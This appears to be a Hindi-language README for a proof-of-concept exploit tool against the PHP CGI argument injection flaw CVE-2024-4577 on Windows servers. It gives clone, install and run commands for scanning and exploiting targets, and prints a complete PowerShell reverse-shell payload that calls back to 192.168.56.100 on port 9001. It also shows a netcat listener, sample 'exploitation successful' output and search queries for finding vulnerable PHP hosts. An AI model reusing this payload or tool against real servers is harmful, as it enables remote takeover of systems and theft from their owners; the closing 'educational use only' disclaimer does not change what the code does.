
PHP CGI आर्गुमेंट इंजेक्शन (CVE-2024-4577) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो कमजोर विंडोज सर्वरों पर स्कैनिंग और रिवर्स शेल क्षमताओं के साथ दूरस्थ कोड निष्पादन को सक्षम बनाता है।
PHP संस्करण 8.1.* (8.1.29 से पहले), 8.2.* (8.2.20 से पहले), 8.3.* (8.3.8 से पहले) में, जब Windows पर Apache और PHP-CGI का उपयोग किया जाता है, यदि सिस्टम कुछ कोड पेजों का उपयोग करने के लिए सेट किया गया है, तो Windows Win32 API फंक्शन को दिए गए कमांड लाइन में वर्णों को बदलने के लिए "Best-Fit" व्यवहार का उपयोग कर सकता है। PHP CGI मॉड्यूल उन वर्णों को PHP विकल्पों के रूप में गलत व्याख्या कर सकता है, जो एक दुर्भावनापूर्ण उपयोगकर्ता को चलाए जा रहे PHP बाइनरी में विकल्प पास करने की अनुमति दे सकता है, और इस प्रकार स्क्रिप्ट्स के स्रोत कोड को प्रकट कर सकता है, सर्वर पर मनमाना PHP कोड चला सकता है, आदि।
"XAMPP डिफ़ॉल्ट कॉन्फ़िगरेशन में असुरक्षित है, और हम /php-cgi/php-cgi.exe एंडपॉइंट को लक्षित कर सकते हैं। किसी .php एंडपॉइंट (जैसे /index.php) को लक्षित करने के लिए, सर्वर को CGI मोड में PHP स्क्रिप्ट चलाने के लिए कॉन्फ़िगर किया जाना चाहिए।"
$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt
$ python3 CVE-2024-4577.py -s -t https://target.com/
[!NOTE] यह उपकरण यथार्थवादी आक्रमण और तकनीकों (TTPs) का प्रदर्शन करता है। हालांकि यह विशिष्ट पेलोड नमूना इस परिदृश्य में कार्य नहीं करता है। पूरी तरह से कार्यात्मक पेलोड प्राप्त करने के लिए shell.php को संशोधित करें।
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
लेखक: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC और स्कैनिंग
[+] https://target.com लक्ष्य CVE-2024-4577 के लिए असुरक्षित है
$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
लेखक: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC और स्कैनिंग
[+] शोषण सफल!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"यह उपकरण केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। निर्माता इस उपकरण के किसी भी दुरुपयोग या हानि के लिए कोई जिम्मेदारी नहीं लेता है।